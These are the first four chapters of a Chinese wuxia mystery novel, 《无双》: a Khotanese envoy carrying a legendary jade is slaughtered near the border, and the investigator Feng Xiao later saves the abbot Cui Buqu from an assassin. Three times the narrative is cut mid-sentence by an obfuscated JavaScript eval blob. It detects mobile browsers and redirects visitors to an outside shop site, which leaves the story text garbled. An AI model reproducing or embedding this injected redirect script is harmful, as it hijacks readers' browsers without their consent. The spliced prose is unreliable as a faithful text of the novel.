《无双》 1. 第 1 章 北风卷地,春风不度。 时近三月,边关清寒依旧。 天色上一刻还能见蓝,眨眼间,说变脸就变脸,阴风刮来,乌云汇聚,头顶一片黑沉沉,似化不开的阴影,压在众人心头。 尉迟金乌能感觉到车队行进的速度明显减缓,不由掀开布帘,伸长脖子往外探看。 风呼啸夹着沙子卷进来,旁边爱妾惊呼一声,忙搂住他的胳膊。 “郎主,天黑前,我们还来得及入城吗?” 娇媚婉转的声音稍稍缓解了尉迟金乌心中的焦虑,他象征性拍拍爱妾的大腿,薄薄衣料下富有弹性的触感传来,可以想象去掉那层碍事的衣料之后摸上去的滑腻,但他现在没心思与爱妾调情。 “应该可以吧。”尉迟金乌皱起眉头,不确定道。 他本是于阗国王族,这次奉于阗王之命,前往中原朝贡。 此时的中原,大隋刚刚代周而立,成为新兴的北方王朝。 隋帝杨坚雄心勃勃,励精图治,使得这个新王朝的生命力,正如冉冉上升之朝阳,焕发无限光彩,便连南方陈朝,也遣使入朝相贺。 于阗虽然偏居塞外一隅,又是蕞尔小邦,但时常被突厥骚扰,不胜其烦,于阗王听说隋朝今年迁入新都,大赦天下,就赶紧借着这个机会,派出以尉迟金乌为首的使团,携带重礼至大兴城觐见隋帝,一则修好关系,二则请求隋朝出兵保护于阗。 谁知这一路上并不顺利。 离开于阗,一行人途经且末,车队马匹就突然生病,上吐下泻,好容易休养数日,重新启程,又遇上这种坏天气,尉迟金乌心头烦躁不安,恨不能插上双翅立马飞到大兴城。 他忍不住又朝马车角落瞟去一眼。 那里叠放着两个箱笼,里面装的是尉迟金乌的随身衣物,因为车厢宽敞,箱笼不大,尉迟金乌特意让人搬上自己的马车,不必挪到后面去。 他频频注目的举动也让爱妾发现了,后者嫣然巧笑:“郎主,莫非那箱笼里还藏了一位大美人儿?” 尉迟金乌紧绷的心情因这句玩笑而稍稍展颜:“若真是大美人儿,你又如何?” 美妾娇嗔道:“那妾只好主动让贤,将郎主拱手相让了!” 尉迟金乌大笑,将她搂入怀中,两人肌肤相亲,你侬我侬,这一闹,倒也将尉迟心中大半乌云都驱散了。 “我若告诉你,你绝不可外传,起码在我们抵达大兴城之前,不得向任何人提起。” 他越是疾言厉色,美妾就越是好奇,拉着尉迟金乌的袖子使劲撒娇,又好一顿厮磨。 尉迟金乌这才缓声道:“那箱笼里头,放了一样贡品。” 美妾疑惑:“贡品不是都放在后头马车内了么?” 尉迟金乌:“那些只是普通物件,纵然金银珠宝,隋帝乃大国皇帝,又怎会放在眼里?” 美妾越发讶异:“咱们于阗小国,还有什么好东西,能让隋帝也稀罕不已的?莫不成是稀世美玉?” 尉迟金乌捏一把对方俏脸:“聪明,的确与玉有关,不过不是普通的玉,乃是天池玉胆。” 美妾惊呼失声:“就是那传说中,可以令人长生不老的玉胆?!” 话未竟,嘴已被尉迟捂住,美妾在他严厉的目光中反应过来,忙低声道:“妾失态了,这宝贝乃是于阗镇国之宝,王上竟舍得往外送?” 尉迟金乌无奈:“舍不得又有什么法子?这次王上想与隋朝结盟,必得拿出点好东西,才显诚意十足。” 天池玉胆虽有天池二字,却与天池无关,它乃是于阗国一名樵夫在山中砍柴时无意中发现的,樵夫误入山洞,于洞穴深处发现这块如同山心一般的玉石。传说它周身剔透如晨露,石心中间一团冰蓝,如同被群山覆雪环抱的天池,故而得名。 樵夫将其献给上一代的于阗王,传闻当时于阗王的母亲得了怪病,久治不愈,将玉胆削下一片磨成玉屑入药,不仅完全康复,甚至肌肤如新,容颜重焕。据说这位王太后一直活到了九十多岁,直到前些年才去世。 如此一来,天池玉胆之名不胫而走,在许多人眼中,它不仅能令人恢复青春年华,更能治疗疑难杂症,为练武之人伐筋洗髓。这样一件宝贝,自然人人觊觎,只可惜于阗将其视为国宝,谁也不知道于阗王把它收藏在哪里,突厥人对于阗小国虎视眈眈,其中想必也有玉胆的缘故。 于阗王并非傻子,怀璧其罪的道理他还是懂的,比起亡国灭种,家破人亡,一块玉胆当然没有那么重要,将它献给隋帝请求庇护,总比给突厥人夺走来得好。 美妾听罢这一段来龙去脉,不由咋舌:“可是郎主,这么珍贵的一件宝贝,一路就这么几个人护送,真的无妨吗?” 尉迟金乌笑道:“你别小看外面几个人,那可都是王上身边的绝顶高手,这次几乎全部被派来了,他们看上去越不显眼才越好。” 想了想,他又叮嘱道:“此事你知我知,绝不可再传第三人之耳。” 美妾连连点头:“妾知利害的,若是泄露出去,此行免不了有性命之危,自然是越少人知道越好。” 尉迟金乌抚弄她一头乌发,满意道:“你跟着我四五年,我向来知道你是最懂事的。不过你也不必太担心,等我们入了城,隋帝必会派人前来护送我们进京,届时就安稳无忧了。” 两人耳语之间,风越来越大,夹沙带雪,牢固的马车也微微晃动,发出不堪负荷的声响。 尉迟金乌没了交谈的兴致,紧抿着唇不再说话。 爱妾揪紧了他的衣裳,整个人几乎缩在他怀里不敢动弹。 在呼啸不休的风声中,尉迟金乌似乎听见一波马蹄声由远而近。 这种天气下还疾行的队伍,不大可能是惜命爱财的商队,说不定是隋帝派来接应他们的使者。 尉迟金乌精神一振,对爱妾道:“我去外头看看……” 车帘被掀开,侍卫自外头探入半个脑袋,急急道:“郎君,这风沙太大了,我们先去前边暂避——” 变故就在一瞬间发生。 尉迟金乌从被侍卫打扰的不悦,到愕然睁大眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728830|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不过须臾工夫。 他眼睁睁看着血光一闪,侍卫的头颅飞起,砸上车内顶部,又重重落下,在白色羊毛毡子上滚了几圈,残血将无瑕染上鲜红,最终滚到尉迟金乌脚边。 耳边爱妾的尖叫声传来,这一刻却变得何其遥远,他感觉自己的耳朵像蒙上薄纱,朦朦胧胧,听不分明。 一股寒意扑面而来,他打了个激灵,内心早已焦急咆哮催促自己躲闪,但他养尊处优多时的身体却跟不上反应,直到胸口传来冰寒刺骨的剧痛。 尉迟金乌的视线被漫天血红覆盖。 原来一个人从生到死,是如此之快。 这是他倒下去之前的最后一个想法。 …… 大雪纷飞,足以覆盖世间一切污秽。 然而也仅仅是暂时遮掩,一旦云开雪霁,秽物又会重新露出。 有些人间丑恶,却连鹅毛大雪也无法盖住。 干涸的血变黑,混在雪块之中,乍看像从积雪里冒出来的石头。 死去多时的马匹倒卧在地上,边上马车翻倒,几个脑袋被半埋在雪中,眼看已是气绝多时。 马蹄声由远及近。 十数骑浩浩荡荡,自雪中疾驰而来,马蹄踢出的冰雾与雪花混杂纷飞,氤氲出团团朦胧烟气。 为首之人一身黑貂裘衣,将脑袋遮得密密实实,唯有衣袍灌风扬起,猎猎作响。 后面十多人裹得更加严实,连袖口都扎得紧紧,无人愿意将肌肤暴露在这恼人的风雪中。 他们似乎早已预见眼前这场变故的发生,非但没有表现惊诧恐惧,反倒纷纷下马上前,弯腰察看。 一具尸体倒卧雪上,后背被积雪覆盖大半,只露出一截几乎与冰雪同色的脖颈,一道伤口从咽喉处延伸到后颈,皮肉外放,深可见骨,几乎把脖子切开一半,可见杀人者之用力。 一只掩在黑貂裘衣下的手伸过来。 这手白皙修长,被薄薄皮肉裹着的骨节既不显嶙峋,亦不臃肿,恰到好处,如亭亭舒展的玉竹,无须做什么花俏举动,便已令人不由自主将视线停驻于上头。这样的一双手,非出身人间极致的富贵,是绝养不出来的。 但手的主人却不避污秽,抓起一把沾血的冰雪揉搓片刻,旋即松开,残雪从指间簌簌落下,沾在衣角皮毛上流连不去。 男人低头一看,眉头微微拧起。 旁边的捕役正愁没机会巴结这位从京城过来的大人物,见状忙掏出一条干净帕子,堆着笑上前。 “小人这儿有帕子,您——” 话未说完,便见对方将整件貂毛氅衣除下,直接往后一抛! 在捕役小吏们目瞪口呆的注视下,男人的大氅被他身后的年轻人接住。 裴惊蛰露出微微苦笑的表情:“郎君……” “拿着。”男人淡道。 没了大氅遮挡,他的衣袍直接暴露在风雪之中,玉冠白衣,广袖狂舞。 旁人看着都觉得牙齿上下打颤,男人却面色不改,弯腰低头,继续去看那具尸体。 2. 第 2 章 在这样的天气里,想调查已经发生了一个晚上的案子,无疑非常困难。 此处离六工城很近,于阗国使者前来大隋朝贡,半途被杀,消息传回城中,县令吓得不轻,生怕担上干系。 正好这时京城又来了人,对方奉天子命,前来接送于阗使者,谁知人没接到,却赶上这么一桩凶案。 六工县令战战兢兢,伏低做小,只求将烫手山芋送出去,让他意外的是,这位从京城远道而来的贵客看起来难相处,却没二话,接过案子,立马就带人出城来察看。 县尉刘林抬起头,看着风渐止,雪渐停,不由长长出一口气。 作为六工县的县尉,于阗使者死在城外,朝廷追究下来,他肯定难辞其咎,思来想去,也不知道哪路贼匪如此胆大包天,竟连别国使者都敢劫杀。不过话说回来,这几年也没听说过六工城附近有特别嚣张的匪寇,那些小打小闹的飞贼,都不敢在城外为患…… 他一边胡思乱想,一边跟在后面翻看尸体。 捕役们七手八脚,把周围积雪清扫大半,横七竖八的尸体逐渐露出,大部分都是像刚才的死者一样,喉咙一刀毙命。 只有马车里的华服男人,是胸口被利刃贯穿而死。 刘林随手捡起半插在雪地里的长刀察看,忽然惊呼一声:“突厥长刀!” “这里也有一把突厥长刀!”又一名捕役喊道。 刀刃卷起,残血犹存,这是一把已经杀了许多人的刀。 难道真是突厥人干的?!刘林很震惊。 他越想越觉得有可能。 谁都知道突厥与大隋双方战火一触即发,边境时常枕戈待旦,不敢松懈,突厥人对于阗小国意图投靠隋朝不满已久,此时在大隋境内杀害于阗使者,肯定令于阗人怨恨大隋,从而挑拨两国关系。 刘林的想法代表了绝大多数人的想法。 到此为止,案子已经差不多可以被定性了,但刘林忍不住为接下来的善后头疼:突厥人在这里出没,说不定也潜入城内了,最近琳琅阁要在六工城分号举行一年一度的拍卖,天下富贵闲人,江湖三教九流,都不约而同往这里汇聚,这时候再出一桩涉及于阗使者的凶杀案…… 他几乎可以预见自己接下来的处境,只要一顶办事不利、让突厥人潜入境内杀害于阗使者的黑锅扣下来,就能让他吃不完兜着走。 想到自己可能很快会失去县尉的位置,刘林就觉得眼前一黑,手脚发软。 贵人的手下,刚才那个姓裴的年轻人,正从翻倒的车厢内钻出来,怀里还抱着一个八宝小柜。 这种八宝小柜,是近年来从京城开始流行起来的款式,小巧玲珑的三层,拉开之后里面又有八格,可以放置胭脂水粉和各式蜜饯零嘴,放置在车厢内很是方便,因而深受妇人喜爱。有些显贵人家的女眷,其八宝小柜更是极尽奢华,不仅装饰玳瑁玛瑙,还镶嵌宝石玉珠,已然从实用器具变成互相攀比炫耀的珍贵摆设。 裴惊蛰怀里抱着的八宝小柜,虽然没有京城那些看起来珠光宝气,但也是上好木料打造雕刻的,细看还是身着于阗服饰的女子在舞蹈,充满异域风情。 三层抽屉被一一拉开。 第一层放着桃干杏干等蜜饯,第二层则是头面首饰,第三层打开时,乍一看黄澄澄的,刘林近前一看,才发现那是些女子用作贴面的花黄,星月鱼虫,用金箔剪成。 看来这个车队里有女眷,刘林心想。 这也正常,据说于阗使者是于阗贵族,出使别国,哪会不带上几个美妾艳婢?只可惜他们还未来得及见到大兴城的繁华,就已经命殒半途了。 “找找在场有没有女子尸首。”与此同时,男人也发话了。 他一开口,众人自然要听从,都纷纷下马搜寻。 原本那件披在男人身上,价值不菲的大氅,此时却被孤零零扔在雪地里,刘林心疼地看去一眼,暗自嘀咕几句,勉强提振起精神跟着搜查起来。 这个车队,除了骑马的随从侍卫之外,共有四辆马车,一辆专供于阗使者使用,一辆装着车队补给,一辆装着准备呈奉隋帝的贡品,还有一辆小车,应该是于阗使者的侍女所坐,因为众人就在那辆小车旁边,又发现了两具被掩埋在雪下的女性尸体,颈部同样被一刀毙命,气绝多时。 两名侍女颇有几分姿色,刘林揣测她们应该就是于阗使者的婢女兼房中人了。 却见男人忽然弯腰凑近,鼻尖贴着其中一名死去的侍女,几乎要亲上去一般,俊美侧颜映着雪色流光,旁边还有张泛着青黑色泽的死人脸,刘林只看得毛骨悚然。 男人却毫不以为意,薄唇依旧流连在尸体脸颊,一路往下,甚至伸手去解开对方沾满血迹的衣领,怎么看都像意图轻薄的登徒子,连那个原本很淡定的年轻人,也禁不住微微变色,失声道:“郎君!” “吵什么。”那人哂道,又走到另一具女尸旁边,蹲身低头,在尸体已经被割开大半个喉咙的脖颈处嗅了半天,终于再度出声,“还有一个人,找。” 还有一个什么人?刘林一愣。 男人不耐道:“马车内的残余香气,跟这两个女人身上的,不是同一种。还有一个女的,找出来!” 众人闻言,赶紧四下搜查,但最终只找出二十一具尸体,除了那两个侍女之外,再无女尸。 男人对刘林道:“留一队人清理现场,把尸体都带回去。” 这就完事了? 于阗使者死在这里,于阗王肯定要追究,尸体一移走,等到雪融日出,什么证据都没了,那案子他们还查不查? 刘林一头雾水,想问又不敢问,只好频频望向裴惊蛰,朝他作揖使眼色,无声哀求。 裴惊蛰叹了口气,捡起那件刚刚被他放在地上的大氅,认命当起那个挨骂的人:“郎君,我们这就走吗,马车和马都不管了?” 男人反问:“你告诉我,留在这里还能做什么?” 刘林期期艾艾插嘴道:“凶器与马车那些是否也一并带回去,作为证物?日后于阗质问起来,我们也好有个证据。” 男人道:“马车不必管,凶器带回一把便可。” 他也不多作解释,说罢大步流星上了马,掉头扬鞭,白衣灰马瞬间疾驰而去,余下众人面面相觑,不知所措。 边境小城的捕役毕竟不如京城训练有素,更不要说与解剑府相提并论,裴惊蛰只好留下来,交代刘林把现场处理好,分出一队人将尸体与凶器运回城中,这才骑马回到城中秋山别院。 秋山别院位于六工城东南,背山面水,闹中取静,赵县令妻家乃当地富户,这座别院就是他妻子的嫁妆,每年新春休沐,他都会携家眷在这里小住几日。这次京城使者还未到,他就已经让人将别院收拾好,待贵客一到,立马便将人迎到这里来。对方若是住得舒服,说不定自己也能少几分罪责。 裴惊蛰的确挺喜欢这里,尤其现在冬雪未融,枝头新绿,别院比京城又多了几分雅致,每次走进来,心情就会变得很好。 但他知道,凤二府主现在的心情,却不会太好。 飞檐下铜铃摇动,廊柱旁倚坐着刚才先行骑马回来的男人,神态慵懒散漫,手指却灵巧地将信笺卷作小卷塞入拇指粗细竹筒中。 裴惊蛰忍不住放轻脚步,但对方睫毛微微一颤,眼皮略略掀动,已察觉他的到来。 “派人去且末查一下,这个于阗使者随身带着什么人。”凤霄将竹筒递给裴惊蛰,道。 且末是位于于阗和六工城之间的一座城池,名义上归属大隋,不过朝廷忙着对付突厥与南朝,暂时没有在这个地方放太多心思。 从中原前往西域,且末城都是必经之地,久而久之,那里就成了缓冲地带,来自五湖四海的过路客商云集歇脚,解剑府早就在那里设了据点,方便收集传递讯息。 裴惊蛰应声接过竹筒,忍不住问:“这桩案子,您是不是有头绪了?” 凤霄随手从旁边抄起一份文书丢给他。 裴惊蛰手忙脚乱接住,打开一看,发现是于阗王亲笔所写,准备交由使者上呈给隋帝杨坚的金册国书。 上面清楚写明这位于阗使者的身份,对方名叫尉迟金乌,是于阗王的侄子,于阗王在信件中表达了自己对天|朝的向往渴慕,希望两国结为盟好,互帮互助,共同抵抗突厥。 说白了,于阗王既希望大隋能帮他对付突厥人,又怕隋朝趁机将他吞并,一面讨好,一面防备。 金册国书原本是呈给隋帝看的,但现在于阗使者已死,为了破案,国书也成了线索之一,自然要先过他们之手。 尉迟金乌一行人被杀,对方却不劫财不劫物,连国书也还在马车内,安好完整。 裴惊蛰浏览完毕,合上金册,对凤霄道:“郎君,于阗人死在大隋境内,一则可以灭大隋威风,二则令于阗与大隋生隙,这的确像是突厥人能干出来的事。” 凤霄挑眉反问:“他们入境杀人,为何要用突厥长刀,如果用的是中原兵器,岂非更加死无对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728831|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证,毫无痕迹?” 裴惊蛰挠挠下巴:“突厥人向来行事粗暴,如此张狂也不奇怪,而且,现在突厥与中原磨刀霍霍,他们便是拿准了我们就算知道,也奈何不了他们?” 凤霄:“你就没发现,那马车之中,还少了一样重要的东西?” 裴惊蛰冥思苦想,最重要的金册国书都在,还少了什么?于阗使者入朝进贡,随身带着的贡品也没少…… 他灵光一闪,脱口而出:“礼单!刚才我找不到礼单!” 凤霄从喉咙里哼了一声,似觉得他还不算无药可救。 裴惊蛰早已习惯这位二府主的脾气,见对方认同,已是受宠若惊,忙再接再厉道:“凶手拿走了礼单,莫不是顺手偷了哪样贡品,不想让我们知道?可我们只要去信于阗王,不也能问个明白?” 凤霄道:“一来一去,浪费的工夫也足以让对方做许多事情了。你将那个八宝小柜拿过来。” 裴惊蛰依言而去,不一会儿就把八宝小柜抱过来,将里头三层抽屉一一拉出。 凤霄:“少了几样东西。” 裴惊蛰一愣,又往抽屉里看了好几眼。 他没察觉少了什么啊。 不过这话脱口而出,肯定又会挨骂,所以裴惊蛰老老实实道:“小人愚钝,还请郎君指教。” 凤霄倒没再卖关子:“胭脂水粉。” 能跟在解剑府二府主身边,裴惊蛰毕竟不是蠢人,略一思索就将前后联系起来。 “小柜里还有花黄,说明肯定少不了打扮妆容的胭脂水粉,但马车内残余的香气,与那两名侍女的香气不同,说明此行还有另外一个女子,很可能就是尉迟金乌的宠妾,她被凶手掳走了?不,不对,抽屉没有被乱翻,东西摆放很整齐,对方带走的时候应该从容不迫……” 说到这里,他一个激灵,恍然道:“难道凶手是那失踪的女子?!” 凤霄拢了拢袖子,“她未必是凶手,但肯定与凶手有关,对方虽然用突厥刀,也未必就是突厥人。去查吧,三天之内,给我消息。” 裴惊蛰微微垂首:“是。” …… 三天说长不长,说短不短,日日懒觉,便觉漫长难熬,但若是有事可做,眨眼便过。 裴惊蛰深知凤霄性子,说三天就三天,绝不会多给一个时辰,所以凤霄下令之后,他一面发出信鸽,一面派人快马加鞭,前往且末城的解剑府据点了解情况,信鸽中途遇上风沙,有去无回,幸而他做了两手准备,在第三天傍晚的时候,派出去的人终于有了回信。 “说说。”凤霄半阖双目,没去看他双手奉来的信笺。 裴惊蛰一五一十道:“尉迟金乌几年前来过中原,在六工城遇到一名姓秦的良家女子,当下惊为天人,几番追求之后,终于纳其为妾,将她带回于阗去。据说这秦氏在他身边一直很受宠,连这次来中原朝贡,尉迟金乌也都把她带上。车队被灭口之后,唯一失踪的女子,应该就是这名秦氏了。” 凤霄:“就这样?” 裴惊蛰:“秦氏在于阗的行踪起居,已经派人去查了,但毕竟距离遥远,一时难有回音,不过属下倒是查到,她父母双亡,寄居在姑母家,跟着尉迟金乌走后,她姑母一家也随之搬走了。据秦氏原来的左邻右舍说,她笃信佛道,十分虔诚,出嫁之前,最常去的地方,就是城中玉佛寺与紫霞观,几乎每月初一十五,都会亲自去上香。” 凤霄终于睁开眼,轻哼一声:“说了半天废话,就最后这句才有点用!” 裴惊蛰委屈道:“那属下也得先将前面的说完,才能接后面的呀!玉佛寺和紫霞观那两个地方,属下都找人查过了,玉佛寺本来就是城中香火最旺的寺庙,但紫霞观就有点蹊跷了,这座道观荒废了很久,平时根本没几个人去,秦氏想去上香,为什么不找个更热闹的道观?” 见凤霄不语,他又继续道:“还有更蹊跷的,就在两个月前,紫霞观忽然来了一位新观主坐镇,立马就将道观香火带起来了,人人都说紫霞观医术高明,道长宅心仁厚,连观里供奉的神明,都有求必应,常常显灵。” 凤霄:“新观主姓甚名谁,什么来历?” 裴惊蛰:“姓崔,叫崔不去,据说原来是云游道士,其它暂时还未查出来。” 崔不去。 不去哪里,为何不去。 天下之大,又有何处不可去? 这名字在凤霄舌尖滚了一圈,带起他唇角微微的弧度。 有点意思。 3. 第 3 章 正对着秋山别院的六工城西北角,有一处道观,名曰紫霞观。 这座道观始建于前朝,老观主死后,底下的道士几乎全跑光了,年岁一久,香火没落,道观越发无人问津,本城年纪稍小的人,兴许都没听过紫霞观的名字。 一切颓败止于新任观主的到来。 三月初三,玄天上帝诞辰。 这一日,紫霞观几乎被围了个水泄不通,几乎半个六工城的人都涌到这里来。观内,人手三炷香,观外,消息灵通的摊贩们早已在这里摆起早饭鲜果,供给那些赶来上香的人。 换作两个月前,谁也不会想到,这座近乎荒芜的道观,还能枯树逢春,迎来这么多香客信众,明明道观还是那座道观,也没见如何修缮,顶多就是把漏雨的屋瓦换上新的,再把观内荒草拔掉,但在当地百姓看来,香火袅袅升起,檀香弥漫四散的紫霞观,怎么看都比以前多了几分神圣。 山不在高,有仙则名,水不在深,有龙则灵,估计是道观里来了新主人的缘故。 张氏手里紧紧攥着刚在油灯石台点上的香火,在人潮中艰难前行,为的就是在院子中央的大香炉里插上自己的香,祈求今年阖家平安。 人这么多,她却半点也没有打退堂鼓的念头,反而还觉得自己起晚了,可能神明会不高兴,心说等会上完香,得去求个签,最好是让那小道士说说情,请观主亲自出马给自己解签。 整整花了小半个时辰,她终于插上香,向神明祝祷完毕,并奉上贡品,此时日头早已挂上中天,张氏脸上的脂粉被热气一熏,微微有些黏腻脱落,周围依旧人声鼎沸,接踵摩肩,许多人像张氏一样,丝毫没有散去的打算,反倒还兴高采烈,觉得自己完成了一件重要神圣的任务。 张氏家住城东,丈夫在城中开了两间布铺,家境尚算殷实,夫妻感情也不错,只是在子嗣上一直不如意,好容易中年得子,夫妇二人对儿子视若明珠,谁知两个月,幼子突然一场大病,几乎命归西天,二人不知找过多少大夫,去城中有名的玉佛寺烧过多少香,最终都无济于事,这时听说紫霞观来了位医术高明的新观主,连同紫霞观的香火也变得灵验起来,张氏病急乱投医,也管不了那么多,赶紧求上门,结果误打误撞,儿子的病居然被医好了,从此张氏每月供给玉佛寺的香油钱,就全部转到了这边来, 六工城说大不大,张氏夫妇幼子痊愈的消息很快传遍,更多的人慕名而来,紫霞观一夜之间名声鹊起,很快就与玉佛寺并立,成为六工城第一大道观。 张氏掏出帕子擦拭额头汗珠,好不容易挤入侧殿,却被告知今日观主不解签,而是在中庭讲道,张氏目不识丁,但冲着对崔观主的盲目信任,还是打算去听一听。 刚来到中庭,她就吓了一跳。 院子里几乎已经坐满了人,还有不少站在外头,围了里三层外三层,但居然没有发出什么大的动静,偶尔几人窃窃私语,也都尽量压低声音。 张氏遥遥看见那位崔观主了。 对方盘腿坐在屋檐下的台阶之上,眼睛因望向院中而微微眯起,张氏看得心头一动,顿时想起正殿之中那些神像,也是如此微阖双目,慈悲注视人间悲喜的模样。 崔观主的脸色,比起上次见面似乎又苍白了不少,不过也可能是身处室外,被阳光照到的缘故。 张氏经常过来上香,隐约听观中道童提过,崔观主的身体似乎不大好。至于为什么不好,谁也说不上来,张氏妇道人家,也不好再仔细打听。 虽然距离有些远,但周围没人说话,崔观主的声音,也能传入大多数人耳中。 不疾不徐,轻缓和气。 像一杯不烫不冷,刚好可以握在手里的茶,清香袅袅,沁入心脾。 此人在处,仿佛神佛在处。 “今日要讲的,是因果。”张氏听见那位崔观主如是道。 在场有人轻轻咦了一声,脸上也露出疑惑之色。 崔观主微微一笑,继续道:“许多人可能以为,因果是佛家才讲的,其实我们道家,也讲因果。《太上感应篇》里便讲道,福祸无门,惟人自召。意思是说,灾难也好,福气也罢,从来都不是注定的,与本人自己的行为有关,这与佛家的种善因,得善果,恰有异曲同工之妙。” 张氏别说识字了,连书籍都未摸过,平日里至多也就是去茶肆中听说书先生讲讲江湖故事,最头疼的就是听见那些滔滔不绝的大道理。 但这会儿,也不知是因为这么多人都在一起听,还是崔观主讲得格外深入浅出,她非但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728832|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听懂了,也不觉得烦,反而有种心头澄澈明净的感觉。 “就拿张家娘子来说吧。” 自己的姓氏冷不防入耳,张氏一愣,还以为有人与自己同姓,但抬眼一瞧,崔观主正朝自己往来,连带着其他人,也都顺着他的视线张望过来。 她轰的一下,耳根全红了,生平头一回暴露在众多炯炯目光之下,连手脚都不知往哪里放。 “前阵子,张娘子家的幼儿身患重病,差点不治,此时想必大家也有所耳闻,若非她平日多行善事,张家祖上积德,一场大难又怎能逢凶化吉?” 张氏万万没想到崔观主会如此不吝夸奖,当下又是激动又是羞臊,连话都说不稳了,忙颤着声音道:“妾,与我家夫君,平日也是凭着本心做事,哪里当得起观主如此赞誉!小儿病愈,全赖观主医术高明,张家上下,皆感激不尽!” 崔观主笑意更深:“好一个凭借本心行事,说得容易,这世上又有几个人能做到?我会恰逢其时来到紫霞观,仔细论起来,何尝又不是无量祖师冥冥之中的指引?” 众人听罢都觉有理,再看张氏的目光,也从疑惑变为歆羡。 张氏面颊通红,心头激荡不已,她活了大半辈子,还是头一回听别人夸她行善积德,夸的人还是城中出名道观的观主,这样三生有幸的好事,她恨不能现在立马就回去与夫君分享,张氏甚至已经想好了,下个月过来上香,定要多给些香油钱。 就在神思驰远之际,张氏忽觉视线之内一阵刺痛,似有什么金银之物在日光下反光。 她下意识合眼,可随之而来的却是耳边破空之声,如飞鸟展翅急掠而过。 张氏忍不住又睁眼,结果便看见一道灰色身影扑向台阶之上崔观主所在,手中长剑烁烁,凶猛迅疾,势不可挡,竟要将崔观主一剑斩杀的架势! 剑锋眨眼已至额心半寸,任是旁边的道童速度再快,也来不及扑上去相救,更何况事发突然,须臾之间,根本没有人能反应过来。 崔观主被剑风所袭,不由往后微微一仰,但他的动作对刺杀者而言压根无济于事,只稍眨眼工夫,剑就会刺入他的眉心,将活人变成死人。 张氏看不见对方生还的任何希望,心中惊惧到了极点,忍不住尖叫起来! 4. 第 4 章 刺客对这场刺杀志在必得。 在剑尖几乎触碰到对方眉心的瞬间,他就已经开始想象剑锋刺入对方颅骨的感觉了。 这把剑能摧金断玉,颅骨再坚硬,也硬不过宝剑加上真气涤荡的无坚不摧。 刺客原是不屑亲自出手,对付眼前这种手无缚鸡之力的病痨鬼,但上面下了死命令,如果这病痨鬼不死,死的就是他。 如无意外,下一刻,此人眉间就会多一把入骨的剑,届时鲜血顺着伤口流淌下来,一条血线悬于鼻间,此人脸色苍白,想必常年多病,不过这样一来,尸体与鲜血相得映彰,会更加赏心悦目才是。 刺客愉悦地想道,因为这样的场景,他委实见过太多,只因这姓崔的容貌不俗,才令他对接下来产生几分期待。 但他的志在必得,却被一只手,全盘打乱了。 刺客微微睁大眼,看着这只不知从何处伸出来的手。 这是一只修长有力的手,指甲修得整齐,骨相完好,皮肉均匀,换作平日,刺客大概要将这只手剁下来,用特殊方子保存新鲜,欣赏上个三五日再丢弃。 但现在,他却完全没有欣赏的心情,因为这只手已化为催命的阎罗,两指若拈花提笔,举重若轻,铮的一下,长剑微荡,原可切金碎玉的剑锋,便已断为两截! 刺客露出难以置信的眼神,但他反应极快,常年在生死边缘徘徊的人,早已练就闻知危险的敏锐嗅觉,当下生生往后腾挪,避开了随之而来的一掌。 但这只是刚开始,对方一身白衣翻腾,紧追不舍,单凭一双手,居然就与刺客手中断剑打了个不相上下,两人身影交错,快得几乎令人看不清招式,但周身真气激荡,许多人被刮倒在地,纷纷惊叫四散。 原本被挤得水泄不通的庭院,几乎瞬间就跑光了人,剩下几个道童,也都躲在柱子后面,崔观主似乎吓傻了,依旧跌坐在蒲垫上一动不动。 只一照面,刺客就知道,他绝对不是眼前这人的对手。 这个念头在脑海里闪过,刺客咬咬牙,下了一个决定。 他将断剑朝对方掷去,用上了十成功力,起码能拖住对方几个呼吸的工夫,为自己争取时间。 这点时间来不及让自己逃跑,所以刺客选择回身扑向铺垫上的人。 他去势极快,几乎化为一道黑影,须臾即至。 崔观主微微睁大眼,双手按住地上,似乎想起身,但撑了一下,身体因恐惧过甚,没能往旁边躲开,而这时刺客的掌风已经到了面前! “你这叛徒,今日定要你不得好死!” 不知是受掌风一激,还是被这句疾言厉色的话吓住,崔观主的脸色又白了几分,还咳嗽出声。 眼看他就要立毙当场,刺客的身形生生一顿,整个人静止不动,面部狰狞扭曲。 刺客慢慢低下头,看着自己胸口不知何时多出来的一截断剑,那沾血闪烁的反光仿佛无形嘲讽,令他死不瞑目。 轻轻一脚撩起,刺客的尸体就被掀到旁边过道,但凤霄看着地上残留的血迹,最终还是往旁边绕开,来到惊魂未定的崔观主面前。 “你就是崔不去?” 他居高临下,背光而立,看着对方,眼神如同审视犯人。 道童总算反应过来,撞撞跌跌跑出来。 